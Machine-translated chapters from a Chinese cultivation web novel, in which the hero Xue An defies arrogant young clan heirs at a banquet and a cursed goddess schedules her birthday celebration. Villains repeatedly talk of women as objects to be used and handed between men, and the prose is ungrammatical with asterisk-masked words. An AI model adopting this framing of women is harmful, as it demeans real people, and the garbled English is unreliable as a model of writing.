    Because this Young Master Yue is a descendant of a higher **** in the Amaterasu God Realm, he often came to this cursed city to have fun in the past, he is not good to offend him.


    But at this moment, I saw a streamer flying to the front of Yuli Pavilion. After standing still, she was a beautiful woman with revealing clothes and enchanting posture.


    When the woman appeared, everyone around was quiet.


    Then I saw her eyes flow, a pair of glamorous eyes looked around, and then gently covered her mouth, with a charming smile, she took a step towards Yuwei Pavilion.


    The big steward and others who had been in front of the door, when they saw this, stepped aside and stood on both sides.


    And Young Master Yue, who had just been full of arrogance, stood still on the spot at this moment, looking stupidly at the woman entering the Yuli Pavilion.


    Until her figure had disappeared, the young master Yue had a cold war with Lingling, and then swallowed and trembled.


    "This...is this the guest tonight?"


    The chief steward sighed lightly and nodded, "Young Master Yue, this is only one of them. There will be a few more later, and the hostess..."


    said, the chief steward leaned forward and said something in the ear of Young Master Yue.


    After hearing this, the young master Yue turned pale instantly, then took a deep breath, turned around, and left without looking back.


    Because he knows very well that although his identity seems to be noble, compared with the people who are here tonight, the gap is like cloud and mud.


    For example, the woman who just arrived at the scene looks **** and enchanting, but in fact, she is Zhong An''an, the goddess Tianjiao of the Lunar Protoss who is famous among the younger generation.


    Such an existence is not something he can look up to.


    When Zhong Anan walked up to the top floor of Yuli Pavilion, he saw Guanghua Road before he was seated, and another person came to the court.


    This is a man who exudes evil spirits all over his body, his face is white, and he looks like a ghost at first glance.


    After seeing Zhong An''an, the man smiled gloomily, "It seems that the two of us came a little earlier, while there is no one now, Taiyin Xuanwu, why don''t we practice and rejoice?"


    Zhong An''an trembled with a smile at the words, but his eyes were as cold as ice, "Ji Hao Qiongji, young master, you haven''t changed for so many years! Cultivation is fine, but you are not afraid of being sucked up by me. Squeeze it out?"


    If there are other people present, it might be exclaimed.


    Because the one who came was the young master Ji Haoqiong of the Five-way God Sect.


    After hearing this, Ji Haoqiong stretched out his tongue like a snake letter and licked his chapped lips, "If you don''t try, how do you know who squeezed whom?"


    Zhong An''an smiled gradually.


    You must know that as the Profound Girl Tianjiao of the Taiyin Protoss, even though she behaves extremely slutty, a little bit of Profound Yin is absolutely unbreakable. Otherwise, her body will be reversed and her cultivation will be greatly damaged.


    So she was very unhappy in her heart.


    At this moment, I heard a burst of laughter, and several people rushed to it.


    All of these visitors were the wealthy Tianjiao who guarded one side, and they were all very familiar with each other, so they temporarily covered up this matter.


    The hall became lively, and these arrogances were really full of spirit and talk.


    At this time, a man in white unfolded the paper fan in his hand and chuckled lightly: "I don''t know if Qi Shao invited us to the banquet this time, but why!"


    "Xiao Baitou, you are the ink stain. Why do you have a banquet? Qi Shao always practices at home. This time he finally came out. Naturally, he has to relax, so I want to get together with us!" The bronze man laughed.


    "Hey, I heard that this time the cursed goddess invited Qi Shao''s female disciple, she has almost been disabled by Qi Shao, do you know?" Someone laughed.


    Mention this The eyes of these men are all bright, only the man in white turned his head to look at Zhong An''an.


    "Ms. Zhong..."


    Zhong An An Qiao smiled and said, "You don''t have to worry about me, just talk! I listen to it funny!"


    "That is, can sister Xuan Nv still look up on these things?" The big man also grinned.


    The audience burst out laughing.


    At this moment, he heard a faint voice: "What are you talking about, so happy?"


    With the voice, I saw a group of people stepping on the moon in the night sky outside the window, and immediately entered the room.


    is headed by Qi Hongbo, the young master of Tianhuo.


    Everyone got up during the dinner.


    "I have seen Qi Shao!"


    "I have seen Master Qi!"


    Qi Hongbo nodded indifferently, "I''m late, everyone has been waiting!"


    On the cultivation of identity, Qi Hongbo is second to none among the audience, so everyone laughed.


    "Shao Qi is polite!"


    Only Ji Haoqiong has not said a word, but after seeing Ruan Jingxiu next to Qi Hongbo, his eyes light up slightly, and his voice is astringent.


    "Shao Qi, this woman is..."


    Qi Hongbo nodded, "Why, Ji is not interested? Use it as you please, I don''t think the Lord Goddess will be bothered with the Five Elements Gods because of a female disciple!

 Chapter 1080： Im not targeting anyone, just that everyone in this room...

    Ruan Jingxiu''s expression changed as soon as he said this, "Qi Shao..."


    Ji Haoqiong grinned, "I have a habit. I never touch things that others have used, especially women."


    Qi Hongbo laughed loudly when he heard the words, "Ji Shao said so, it seems that I have to change my habits in the future!"


    Facing such remarks, Ruan Jingxiu can only lower his head, his face is embarrassing and almost bleeding.


    At this time.


    The maidservants with luxurious clothes and delicate faces began to serve their dishes like water.


    Various kinds of extremely precious ingredients are carefully cooked to give out a mouth-watering aroma.


    A plate randomly placed on this table may be all the wealth of an ordinary cultivator.


    Faced with such extravagant handwriting, these giants and Tianjiao all looked indifferent, no wonder.


    "Qi Shao, this time you can come on behalf of the Skyfire God Clan. It can be seen that your position has become more stable. Maybe it won''t be long before you will officially become the young patriarch of the Skyfire God Clan. At that time, I hope Qi Shao can help! "The bronze man smiled flatly.


    Qi Hongbo smiled proudly when he heard the words, "Brother Li is polite, if I take charge of the Skyfire God Clan, then everything is easy to say!"


    The big man was overjoyed when he heard the words, and raised his glass in his hand, "Thank you Qi Shao!"


    After talking and drinking, his expression and demeanor were full of flattery.


    If someone who knows this big man sees this scene, they will be surprised.


    Because this big man was named Li Gang, he was the first true biography of the Temple of Li, and he was also one of the best in the universe, but when he faced Hongbo, he was so flattering. It can be seen that the strong in the gods respect this. The idea has reached a certain point.


    At this moment, the young man in white clothes shaking a paper fan smiled and said, "Shao Qi, I think there are still seats available, but there are people coming?"


    Everyone couldn''t help showing their doubts upon hearing this.


    Because there is indeed a chair that is still empty.


    Qi Hongbo laughed, "Brother Bai is really careful to observe, yes, someone will come soon!"


    There was a slight commotion among the crowd.


    The man in white can''t help but frown slightly, "Now the wealthy Tianjiao in the Cursed City have gathered here, but I don''t know who this one will be?"


    The white-clothed boy is named Bai Chong, he is a direct descendant of the Ancient Sword God Clan, and because of his long-sleeved dances and vast friendships, he knows exactly what powerhouses are coming in the cursed city now.


    Naturally, he was a little confused about who Qi Hongbo was waiting for.


    Qi Hongbo shook his head, "It''s not a tyrant, but a woman!"


    Everyone was taken aback first, and then all of them were taken aback.


    Ligang smiled strangely: "No wonder Qi Shaodoo can leave a chair behind, it turns out to be a lady!"


    Bai Chong couldn''t help but smile, "Then let''s open our eyes today to see what kind of woman can get Qi Shao''s eyes."


    At this moment, he heard the sound of footsteps from the stairs.


    Then Xue An and Chu Xiaoyun walked up slowly.


    in an instant.


    Everyone''s eyes were focused on Chu Xiaoyun.


    Chu Xiaoyun''s face-masking technique does not work for these tyrants.


    So after examining it for a while, even the most picky person has to secretly nod.


    really is a peerless stunner.


    Especially the slender and attractive figure like a beautiful snake, is simply a man''s favorite.


    In contrast, Xue An on the side looked very inconspicuous.


    Only Zhong An''an, after looking at Chu Xiaoyun a few times, he focused his attention on Xue An.


    Especially when she noticed that although this young man looked plain, but his eyes were as deep and quiet as the sea, she was even more startled.


    Then he laughed with interest.


    At this time, Bai Chongyi closed the paper fan and sighed softly: "Sure enough, she is indeed the woman Qi Shao is fond of. She is really beautiful and amazing!"


    This sentence reminded everyone.


    "Not bad, not bad, what Xiao Baitou said!"


    "Really stunning!"


    The rich and powerful Tianjiao present began to applaud.


    Standing behind Qi Hongbo with his hands down, Ruan Jingxiu, who didn''t even have a seat, was mad with jealousy.


    This bitch, why is my background not as good as me, and his cultivation level is not as good as me, but he is everywhere?


    But she only dared to vent these emotions in her heart, she didn''t dare to show it at all.


    So no one paid attention to her.


    At this time, Qi Hongbo''s eyes also flashed an amazing color, and then he nodded proudly, "Miss Chu, we have been waiting for you for a long time, please sit down!"


    As he said, Qi Hongbo leaned slightly, using his hand to cue.


    This attitude also caused a slight commotion in the audience.


    Chu Xiaoyun didn''t respond to this, but dropped his eyes and moved aside automatically.


    Ok? What does it mean? Many people are puzzled.


    At this time, Xue Anshi walked up.


    Many people only noticed Xue An next to Chu Xiaoyun, and they couldn''t help but feel a little surprised.


    What does he want to do?


    is in this question.


    I saw Xue An walk to the table, and then sat down slowly.


    The audience was quiet for an instant.


    Many people''s complexions changed, and then they all looked at Qi Hongbo.


    In their view, what the boy did was obviously provoking Qi Shao''s dignity.


    Now I see how Shao will deal with this incident.


    As expected.


    Qi Shao''s face sank, a cold light flashed in his eyes.


    "Humph!"


    This cold snort is like a command.


    Li Gang, who was already unable to restrain himself, stood up suddenly, and said to Xue An with a face full of color: "Boy, do you know where this is?"


    Facing Li Gang''s extremely arrogant questioning, Xue An didn''t get angry, but smiled faintly.


    "Oh? Where?"


    "Huh! This is Yuli Pavilion, and all the people here are the tyrants of Tianjiao, first-class existence, and you... are you the tianjiao of which clan and school came from?"


    Don''t look at Ligang''s rough surface, but it''s actually very careful.


    There is no fool at all who can be famous in this **** realm.


    He saw that even though Xue An had a plain temperament, he had a sense of tolerance in his gestures, so he was afraid that it was the true biography of some big clans or wealthy geniuses, so he planned to ask clearly first.


    Otherwise, once you start, you will suffer a lot.


    When hearing his question, everyone present also pricked their ears.


    Facing this question, Xue An raised the corner of his mouth, and gradually revealed a faint smile.


    "I am not a Tianjiao, nor a descendant of a wealthy family, my name is Xue An!"


    As he said, Xue An looked around the audience, "I came here just to see what the so-called Tianjiao exist!"


    "The result... I am disappointed!"


    After hearing that Xue An is not a tyrannical arrogance, Li Gang breathed a sigh of relief, his expression became extremely arrogant, and he asked sharply, "What do you mean by this?"


    Xue An shook his head, "It''s meaningless. Actually, I''m not targeting anyone. I just want to say, everyone here is rubbish!"

 Chapter 1081： You dont even have the right to choose

    The audience was silent.


    Many people even thought they had heard it wrong, and it was not until a moment later that they reacted, and then became furious.


    "Where are the arrogant people!"


    "It''s a life-and-death thing, doesn''t he even look at who is in the field before speaking? Qi Dashao, the young master of the Skyfire God Clan, Zhong An''an, the profound girl of the Taiyin God Clan, Ji Haoqiong, the Gu Jian Bai Chong of the Protoss, Li Gang of the Lishen Temple! Anyone here is a big figure who is very loud, and now they are gathered together, he actually dares to utter such crazy words?"


    The entire top floor of the Jade Pavilion was a sensation.


    Everyone''s eyes focused on Xue An.


    Among these eyes, there was disdain, ridicule, and some even looked at Xue An as if he was looking at a dead person.


    "Good good!"


    Li Gang laughed in anger and said three things in a row. The muscles all over his body twisted and twisted like running water, and a random muscle trembling made the whole Yufang Pavilion tremble.


    "No matter who you are, based on your arrogance, I will give you a life-long lesson today, so that you can understand...the arrogant must not be insulted!"


    After all, a powerful force hit Xue An and locked it firmly.


    You must know that this Ligang has already broken through into a half-step true immortal, and is a real king-level powerhouse.


    Of course, because of the secret method, the powers of the same king-level may differ greatly in strength, for example, his king-level is too far behind Qi Hongbo.


    But the king-level is the king-level, even if it is just the power that is revealed at hand, it is enough to change the color.


    At this moment, in the eyes of many people, Xue An is like a small boat in the stormy sea, in danger of capsizing at any time.


    But even in this situation, Xue An''s face was still indifferent, even tapping the table with his fingers lightly, looking at Li Gang with interest.


    "Physical training? The muscles are trained well. If there is a bodybuilding competition, you should be able to get a good ranking! But good muscles do not mean strength! So I think that your physical training is not even rubbish. on!"


    "Looking for death!" Li Gang was furious with Xue An''s words, and the momentum of his whole body suddenly climbed to the top, and then stepped out, coming directly to Xue An, raising his palm and banging down.


    This palm is so powerful that it seems to have broken the space.


    If it weren''t for the building of the Jade Pavilion with supernatural power, it is estimated that this palm could collapse the entire building.


    Even so, the floor of this jade pavilion still made a sour squeak.


    But even so, Xue An still did not move at all, but raised his eyes and looked at it quietly.


    There was a grinning smile on Li Gang''s face.


    He is very confident in this palm of his own, let alone a young man, even if he is also a king-level powerhouse here, he has to retreat.


    But just when he thought the overall situation was settled, Xue An raised his hand, and during the inconvenient time, he lightly flicked a finger in the palm of Li Gang.


    This finger does not seem to have any power.


    But just like that, Li Gang felt like being struck by lightning, and then flew out directly, spitting out a big mouthful of blood in the air.


    It wasn''t until a wall was smashed that this Ligang could be considered as landing.


    Looking at his arm again, he was twisting in an extremely weird posture, and it was obviously broken.


    Seeing this scene, everyone was stunned.


    You must know that for a powerful body like Ligang, its bones have been tempered to be as solid as gold and iron, and can even resist magic weapons and tear monsters.


    But just now, Xue An just popped out a finger lightly, and flew out the Li Gang and ruined his arm.


    Such strength is really frightening.


    In the silence of the audience, Qi Hongbo''s complexion couldn''t help but change, and then said gloomily: "No wonder you dare to be so arrogant, it turns out to be a bit powerful!"


    "But do you think...is that enough?"


    As he said, Qi Hongbo''s eyes were shining brightly, and a mighty power spread from him, causing the people who were close to him to retreat.


    But to Xue An, these were as if a breeze was blowing, and he was not moved at all.


    "Shao Qi, this family is tight, be more careful!" Li Gang stood up staggeringly at this time and said coldly.


    Qi Hongbo smiled coldly, "Don''t worry, this kind of stuff is not in my eyes!"


    "Boy, you are a strong man. I will give you two paths now. First, leave here immediately. I can assume that nothing has happened! Second, keep your life!"


    Xue Anhao leaned back on the chair in his spare time, and smiled lightly when he heard the words, "Then I will give you two ways. First, leave here now, and honestly go home and think behind closed doors. I can consider letting you go! What..."


    Xue An showed her white teeth and said sternly: "There is no second at all, because you don''t even have the right to choose!"


    This time not only Qi Hongbo, but the other wealthy Tianjiao also couldn''t sit still.


    "I have practiced for so long, and I have never seen such an arrogant person!" Bai Chongqing shook the paper fan and said coldly.


    Ji Haoqiong didn''t speak, but stared at Xue An, his eyes were as vicious and evil as a snake.


    Qi Hongbo was even more angry and nodded, "Very well, you are the first to dare to talk to me like this, then I will fulfill you and let you go on the road now!"


    With that said, Qi Hongbo was ready to do it.


    At this moment.


    Just listened to the sound of ring Pei Jingdong, and then a woman chuckled: "You are all guests here, why bother to fight so much?"


    Following the voice, a woman with a beautiful face and a very friendly smile appeared on the scene.


    As soon as I saw this woman.


    The audience was silent, and then they began to say hello.


    "I have seen Girl Pu!"


    "I have seen girl Yanru!"


    In these greetings, even Qi Hongbo leaned slightly, "It turned out to be Girl Pu!"


    Pu Yanru Qiao smiled and said, "I have seen Shao Qi!"


    Then he turned his head and looked at Xue An and Chu Xiaoyun behind Xue An.


    When she saw her, Chu Xiaoyun couldn''t help lowering her head, "I have seen...Sister Pu!"


    Pu Yanru smiled, "It turned out to be Junior Sister Xiaoyun, long time no see!"


    This greeting caused a warm current to flow in Chu Xiaoyun''s heart.


    Because when she was in this cursed city, Pu Yanru took a lot of care of her, and it can be said that she is the only one who does not treat her with colored glasses.


    At this time, Pu Yanru looked around the audience and sighed slightly: "The Master Celebration is coming soon, why should everyone be like this? How about giving Yanru a face and taking a step back?"


    Qi Hongbo sneered after hearing this: "Yan is like a girl, it''s not that I don''t give you face, it''s that this person is too arrogant!"


    Pu Yanru naturally saw the situation in the field and especially noticed Ligang''s injury.


    This made Pu Yanru also quite surprised, not sure what exactly this boy came from.


    But she, who has always been good at dancing with long sleeves, stepped forward, chuckled and filled a glass of wine.


    "This lord, if you don''t dislike it, if you drink this cup, you will treat it as if nothing happened, how?"


    In the eyes of many people, this has already given this teenager a step down.


    But everyone did not expect that Xue looked at Pu Yan quietly for a long while, then slowly got up, and said calmly to everyone present: "Since you refuse to leave, then I hope you will not regret it by then!"


    After all, Xue An turned and left.


    Chu Xiaoyun''s face was pale, she nodded slightly at Pu Yanru, and then left.


    From beginning to end, Xue An did not receive the wine glass in Pu Yanru''s hand.

 Chapter 1082： Skyfire is extremely arrogant in hand

    Seeing Xue An and the two going away, Pu Yanru''s wine glass froze in the air, her charming and flowery face was still smiling, but her eyes gradually showed a chill.


    Qi Hongbo said lightly: "Miss Pu, do you know this man?"


    Pu Yanru shook her head, "I haven''t seen it!"


    Bai Chong on the side shook his folding fan, "So arrogant, I really don''t know what he has to rely on!"


    Sen Leng''s murderous intent appeared in Qi Hongbo''s eyes, "No matter what you rely on, since you dare to shout in front of me, I will kill it!"


    Li Gang, who was repairing his arm injury with a grin, also roared grimly: "Yes, this guy is dead, and the elders and the master of the Temple of Li will be there soon. I will peel off his skin at that time!"


    At this point, the arm that was just connected broke again.


    Li Gang let out a scream, "This bastard, he crushed my arm bones to pieces with this blow, and at least wasted my ten years of practice. I must kill him!"


    As physical cultivation, the body is the most precious magic weapon, and the bones are extremely strong, but this also means that once it is broken, it will take a lot of cultivation to restore it.


    Therefore, Li Gang hated Xue An very much.


    Hearing Ligang''s clamor, Pu Yanru said lightly: "I can understand your feelings, but before the celebration of the birthday of God, no one should cause trouble, everything... wait until after the celebration, okay?"


    Although Ligang resented, Pu Yanru, as the spokesperson of the cursed goddess, naturally did not dare not listen.


    And Qi Hongbo also nodded slightly, "Miss Pu, don''t worry, we will not make it difficult for you! Everything will be said after the celebration of the birthday of Master Ling!"


    "Thank you Qi Shao!" Pu Yanru leaned slightly.


    At this moment, Ji Haoqiong, who had been silent for a while, suddenly said coldly: "At that time, I want that woman!"


    As soon as he said his words, Bai Chong and others all changed slightly.


    Because Chu Xiaoyun was the first one that Qi Hongbo liked.


    Qi Hongbo''s complexion has also become a bit ugly.


    Ji Haoqiong licked his lips, "Don''t worry Qi Shao, I won''t want you in vain, when the time comes, the Church of the Five Elements God will help you control the Skyfire God Race. What do you think?"


    Hearing these words, Qi Hongbo''s eyes lit up, and then a faint smile appeared, "Ji Shao is polite, it''s just a woman, so what a mess!"


    Ji Haoqiong grinned, "Qi Shao, if you don''t mind, then I can give it to you after I use it!"


    Qi Hongbo laughed loudly when he heard that, "To be honest, I really don''t mind this! For example, this woman, I also think it''s good to lose the willow!"


    Qi Hongbo refers to Ruan Jingxiu.


    Ruan Jingxiu, who has been trying his best to reduce her presence since seeing Pu Yanru coming, trembled slightly, and her face was as pale as paper.


    And Pu Yanru didn''t feel angry at all after hearing such unscrupulous discussions about how to "dispose" her junior sisters, but instead listened with a smile on her face.


    At this time, Qi Hongbo turned his head and looked at Pu Yanru, "By the way, Miss Pu! The woman just now seems to be your junior. Do you have any comments on this?"


    Pu Yanru Jiao laughed a few times, "The adults are so intrigued, I don''t even dare to say if I have opinions! What''s more, since this Chu Xiaoyun mingled with the guys who opposed the adults, she was also punished Deserved!"


    "Oh? Then I just saw this woman respect Girl Pu!" Bai Chong chucked the paper fan and chuckled lightly.


    Pu Yanru curled her lips in disdain, "A woman whose family has been destroyed, had it not been for the merits of the bloodline talent, she would have died!"


    "I was just being kind to her at the time, but the fool was grateful, so I don''t have to pay anything to get a good impression. Of course I will do it!"


    "But now her life is almost over, you adults don''t have to worry about more!"


    Hearing Pu Yanru''s words, Qi Hongbo was startled slightly, and then nodded thoughtfully.


    Next, Pu Yanru had a few more glasses of wine with Qi Hongbo and others, and then left.


    Wait until she is gone.


    Qi Hongbo and Bai Chong looked at each other.


    Then Qi Hongbo leaned on the chair and said thoughtfully: "It seems that the rumors are true!"


    Bai Chong also nodded, "Yes, this Pu Yanru shouldn''t lie!"


    Li Gang was confused, "Shao Qi, Xiao Baitou, what are you talking about? Why can''t I understand anything?"


    Zhong Anan, who had not spoken, suddenly sighed at this moment, "Ligang, Qi Shao and the others are saying that this time the cursed goddess is holding such a grand birthday, it is likely that she is about to break through!"


    Li Gang was shocked when he heard this, "You mean..."


    "Yes!" Qi Hongbo nodded, "Your Excellency Xuannv said a lot. This cursed goddess has probably accumulated enough divine power to break through to become a real Da Luo and become an ancient god-level powerhouse!"


    "Hiss!" Hearing these words, Li Gang took a breath.


    Even as stupid as him, he understands what this means.


    An ancient god-level powerhouse, that is a big person who can control the life and death of a domain.


    Before the Amaterasu God Realm, only the Amaterasu God King, who had not appeared in public for a long time, was an ancient god-level powerhouse.


    If this cursed goddess really succeeds in breaking through, it will bring a very terrifying chain reaction.


    "No, I want to report this matter to the Lord Hallmaster immediately! Everyone, I''ll leave first!"


    After all, Li Gang jumped up and disappeared into the night sky.


    Ji Haoqiong looked at Li Gang''s back with disdain, then sneered: "What a fool, I only know this kind of information now! Shao Qi, why do you invite this guy every time?"


    Qi Hongbo chuckled, "Although it''s a bit stupid, it''s a good idea to be a dog! Just like just now, I didn''t speak, so he took the initiative to do it for me!"


    Hearing this, Ji Haoqiong nodded, "That''s true too! Free dogs, I''m willing to ask for them!"


    And Bai Chong suddenly said: "Shao Qi The strength of the young man just now cannot be underestimated!"


    Everyone nodded when they heard the words, after all, they repelled Li Gang with one move. Such strength must be at least a king!


    When Qi Hongbo heard the words, he laughed, his smile full of arrogance.


    "His strength is really good, I might really be afraid of three-pointers before switching to him! But now..."


    Following the voice, a faint blue flame suddenly appeared in front of Qi Hongbo.


    As soon as the flame came out, the temperature in the entire room soared.


    In an instant, the porcelain and glass of the house burst open.


    "This is...Sky Fire!" Bai Chong was taken aback, and then said in astonishment.


    Qi Hongbo nodded proudly, "Yes, this is the ray of sky fire that my father personally bestowed on me before I came out of home! With him...no matter which way it is, it is an ant in my eyes!"

 Chapter 1083： Intrigue

    Everyone in the audience heard the words in awe, and their eyes were full of awe when they looked at the flame.


    The reason why the Heavenly Fire God Race is so detached is because they control the Heavenly Fire Abyss, one of the best in the God Realm.


    I heard that there will be a strong sky fire every thousand years.


    This fire is invincible, and it is not afraid of any five element bondage. Once it is contaminated, it is extremely difficult to extinguish. It can be called a very insidious and powerful flame.


    And the Skyfire God Clan has mastered the secret technique of Skyfire for a long time, which has also made the entire Skyfire God Clan one of the most powerful beings in the entire God Realm.


    But now, Qi Hongbo has actually got a ray of skyfire, and his skill at controlling clearly has the point.


    At this time, even if he was stunned like Ji Haoqiong, he couldn''t help lowering his head.


    Feeling everyone''s awe-inspiring gaze, Qi Hongbo was so proud, he stood up vigorously, walked to the window, and said calmly: "When the time comes, I will let him kneel down and beg me for mercy!"


    Everyone bowed their heads, only Zhong Anan looked at Qi Hongbo''s back, but the boy just appeared in his mind.


    The woman''s keen sixth sense made her feel that everything seemed not as simple as Qi Hongbo said!


    Just when Qi Hongbo and others continued to feast in the Jade Pavilion.


    Pu Yanru''s figure appeared under the tall tower in the middle of the Cursed City.


    This dark tower, pointing straight to the sky, is the most striking landmark in the entire cursed city, and it is also the place where the cursed goddess lives.


    now.


    The cursed tower stood silently, and the surroundings were so dark that even the starlight could not penetrate.


    And it''s so quiet that you can hear your own heartbeat.


    Pu Yan knows that in this silent darkness, but dormant with an extremely powerful curse seal, ordinary people will fall into a place where they will lose their lives.


    But Pu Yanru walked flat on the ground and stepped into the tower within a few steps.


    After entering this tower, the surrounding environment changed again.


    There are thorns everywhere, and evil creeps are growing.


    On the ground, there are countless snakes that are swimming.


    When Pu Yanru walked in, they all stood up and looked greedily.


    The dripping venom splashed on the ground, blooming a fascinating and weird little flower.


    Pu Yanru took a deep breath and whispered, "Master!"


    After a while, I heard a calm voice in the void, "You are here!"


    As he said, the poisonous insects all over the ground began to gather frantically, including those thorns and evil vines, which also grew wildly in an instant, and then gathered together to form a weird and evil **** seat.


    A vague figure gradually appeared above the **** seat.


    Until a moment later, a woman with white complexion as early snow and red lips as flame appeared above the **** seat.


    Seeing this woman, Pu Yan fell on her knees respectfully.


    "I have seen Master!"


    That''s right.


    This girl, who seems to be in her twenties, is the cursed goddess who has made countless people frightened.


    She looked down at Pu Yanru and said indifferently: "How is the situation in the city now?"


    "Return to Master, Skyfire God Clan, Taiyin God Clan, Ancient Sword God Clan, Five-way God Cult, Power God Temple, and other forces have sent people, and the powerful from other parties are also gathering here!"


    "Master, I have followed your instructions to spread the news of your upcoming breakthrough! It seems that they are all because of this."


    The curse goddess nodded with satisfaction, "Very good! It seems that these people are not fools!"


    Pu Yanru said hesitantly at this time: "Master, but I have never understood that you are making such a big announcement, Lord God King..."


    A cold smile appeared on the corner of the cursed goddess'' mouth, "You still don''t understand what it means to be promoted to Daluo and become an ancient god-level powerhouse!"


    "Before this, although my divine power is almost the same as the **** king, he can still wipe me out!"


    "But when I was promoted to Da Luo and became an ancient god-level powerhouse, there are very few things in the heavens and all realms that can completely destroy me! In this case, even the **** king has to weigh and anger me. the result of!"


    "Especially what I am good at is the most difficult curse, so I think Lord God King is also causing a headache for me at this moment!" At this point, the curse goddess smiled.


    Pu Yanru couldn''t help but nodded and smiled, "So that''s it! Master, does that mean the future..."


    Before she finished speaking, the Goddess of Curse waved her hand and said lightly: "I know what you want to say, but the **** Amaterasu has been in charge of the divine domain for thousands of years. What kind of old things are in his hands? No one knows the trump card! If I want to replace it, it won��t happen overnight!"


    "What''s more... we are all in the Amaterasu God Realm, and we are both prosperous and prosperous. If we are now in conflict, it is easy to be taken advantage of! It is better to hide behind the Lord God King and slowly improve our strength! I think Lord God King should think so too!"


    The cursed goddess is indeed the new **** with the fastest growth in strength among the Amaterasu gods in the past thousand years.


    At least the mind and vision are extremely clear.


    Pu Yanru naturally admired a few words of flattery, and then suddenly remembered something, and said in a deep voice.


    "Master, Chu Xiaoyun has also returned to the Cursed City!"


    "Oh? She just came back, anyway, her bloodline talent is no longer useful to me, I will reward you when the time comes!" The curse goddess said lightly.


    Pu Yanru was overjoyed, "Thank you, Master! But..."


    "But what?"


    Pu Yanru lowered her head, "But Chu Xiaoyun did not come alone this time, she was also followed by a strange man!"


    "Oh? A strange man?" The cursing goddess came with some interest.


    "That''s right!" With that, Pu Yanru recounted what had happened on the Jade Pavilion.


    The cursed goddess leaned on the **** seat upon hearing the words, raised two long legs of amazing length, and said lightly: "I defeated the descendants of the Temple of Power in one blow. The strength is really good, but you have never seen it. It should be a strong young man from the outside world!"


    "Outside..." Pu Yan was taken aback and then said in shock: "Master meant that he came from other heavens? Doesn''t that mean his strength... ...."


    The cursed goddess waved her hand, "It''s not that magical. Although nominally speaking, only the strong can walk freely among the heavens, there is only a good sea star boat that can be crossed casually!"


    "Yes! Disciple understand!" Pu Yanru was relieved.


    "Tsk tsk, listen to what you said, it seems that he is still a young man who has not been involved in the world! It has been a long time since I tasted the taste of a young boy from the outside world!" Then, the goddess of cursing stretched out her tongue and licked her lips very charmingly. Then Chongpu Yan made a hook.


    "come!"


    Pu Yanru shook all over, and then her face appeared intoxicated, "Yes, Master!"


    "Ok?"


    "Yes, my queen!"

 Chapter 1084： Gods birthday opens

    The day of the sun is fleeting, and the day of the birthday has finally arrived.


    The entire cursed city has been crowded with powerful talents from all over the world.


    This grand celebration finally slowly kicked off.


    In front of the huge black tower in the center of the city, the goddess of the curse used her supreme divine power to open up a space as the venue for this celebration.


    "The lord of the Temple of Lishen brought all the elders and true disciples to come to observe and congratulate!"


    "Ji Haoqiong, a disciple of the Five-pass God Teaching Tianjiao, the acting leader came to observe and congratulate!"


    "Zhong Anan, the heavenly arrogant goddess of the lunar gods, come to congratulate!"


    "Bai Chong, Ancient Sword God Race, come to congratulate!"


    The voices of shouting ceremony came one after another.


    The crowd watching the excitement in front of the door was even more commotion.


    "In previous years, the goddess adults would also hold the celebration of the birthday of the gods, but it was nothing more than the adults of the domain sending a representative over to say something, which is as grand as this year? The strong talents of all domains are almost all here!" Someone was surprised. .


    "Who said no, look at these people, and pick out one who is a strong one who shakes one side! From then on, the reputation of this cursed goddess will become stronger!" Someone sighed.


    At this moment, I heard the noise of the crowd in the distance, and then saw Qi Hongbo and his party come proudly.


    "Qi Hongbo, young master of the Skyfire God Clan, come to watch and congratulate!"


    boom!


    The crowd was silent at first, and then amazed.


    "People from the Skyfire God Clan are here!"


    "Moreover, it is Young Master Tianhuo! Now, the face of this goddess can be regarded as showing off!"


    The Sky Fire God Clan is known as one of the best in the God Realm, and Qi Hongbo''s identity as the young master is even more precious.


    He can come in person, and this also shows the prestige of cursing the goddess.


    Qi Hongbo really enjoyed the feeling of being admired by thousands of people. He walked slowly and stepped into this makeshift Sendai.


    "Shao Qi!"


    "Saw Master Qi!"


    As soon as he came in, the greets were endless.


    Qi Hongbo nodded slightly, and then wandered to Bai Chong and others who were waiting for him.


    "Shao Qi, the black robe you are wearing today makes you more handsome!" Li Gang smiled flatly and complimented.


    Qi Hongbo didn''t comment, but looked around the audience and said lightly: "Is that person not here yet?"


    Bai Chong shook his head, "I have watched it once since I came in, and there is no sign of him and that Chu Xiaoyun! It shouldn''t be here yet!"


    "Hmph, he wants to dare to come, I must peel off his skin!" Li Gang naturally knew who was talking about, and a look of hatred appeared on his face.


    "Have you healed from your wounds? Do you dare to say that?" Ji Haoqiong, who had been silent for a long time, suddenly said in a sarcasm.


    Li Gang didn''t dare to offend Ji Haoqiong, so even if he was ridiculed, he still smiled and said: "Of course it is already done! And you can rest assured that if that guy dares to come, we will not let him go first, after all. The lord of my house has arrived now!"


    Speaking of this, a touch of color appeared on Li Gang''s face.


    Ji Haoqiong snorted coldly and said nothing.


    At this time, Bai Chong said calmly: "I''m afraid he dare not come!"


    "Hehe, I also don''t think he dare to come. If that guy is not too stupid, he should leave immediately and run as far as he can!" Li Gang said.


    Qi Hongbo said lightly: "It doesn''t matter whether he comes or not!"


    "Yes, Qi Shao is right!" Li Gang smiled flatly again.


    At this moment, Pu Yanru and Ruan Jingxiu walked over.


    At this moment, Pu Yanru changed into a brand-new outfit, which was even more elegant and moving.


    And Ruan Jingxiu, who followed her, was radiant, and there was excitement between Gu and Pan.


    Although she also knew that Qi Hongbo was only playing with her, because she did a good job this time, she was sent to Pu Yanru to take care of the guests as soon as she returned to Shimen.


    This position was something she didn''t even dare to think about before, so she was naturally ecstatic.


    "Shao Qi, sirs, my master will be here later, please wait a moment!" Pu Yanru said with a smile.


    Qi Hongbo nodded, his eyes swept across Ruan Jingxiu.


    Ruan Jingxiu trembled, then bowed to salute.


    "Shao Qi!"


    Qi Hongbo ignored her, turned his head and chatted with Pu Yanru.


    In spite of this, Ruan Jingxiu was still full of expressions.


    Because everyone is secretly aiming here at the moment, this small group faintly has become the core of the audience.


    As for Ruan Jingxiu''s fellow students, their jealous eyes are blue.


    At this moment.


    Seeing brilliance at the entrance of Sendai, two people walked in slowly.


    Walking in the front is a young man in white with sword eyebrows and star eyes, which makes people forget the commonplace.


    But behind was a woman who was enchanting like a beautiful snake, but whose face looked like a loli.


    At first sight.


    A touch of cold light appeared in Qi Hongbo''s eyes.


    That''s right.


    Those who came were Xue An and Chu Xiaoyun.


    The appearance of the two of them also drew everyone''s astonishment.


    "Who Tianjiao is this young man? How can he be so pretentious?"


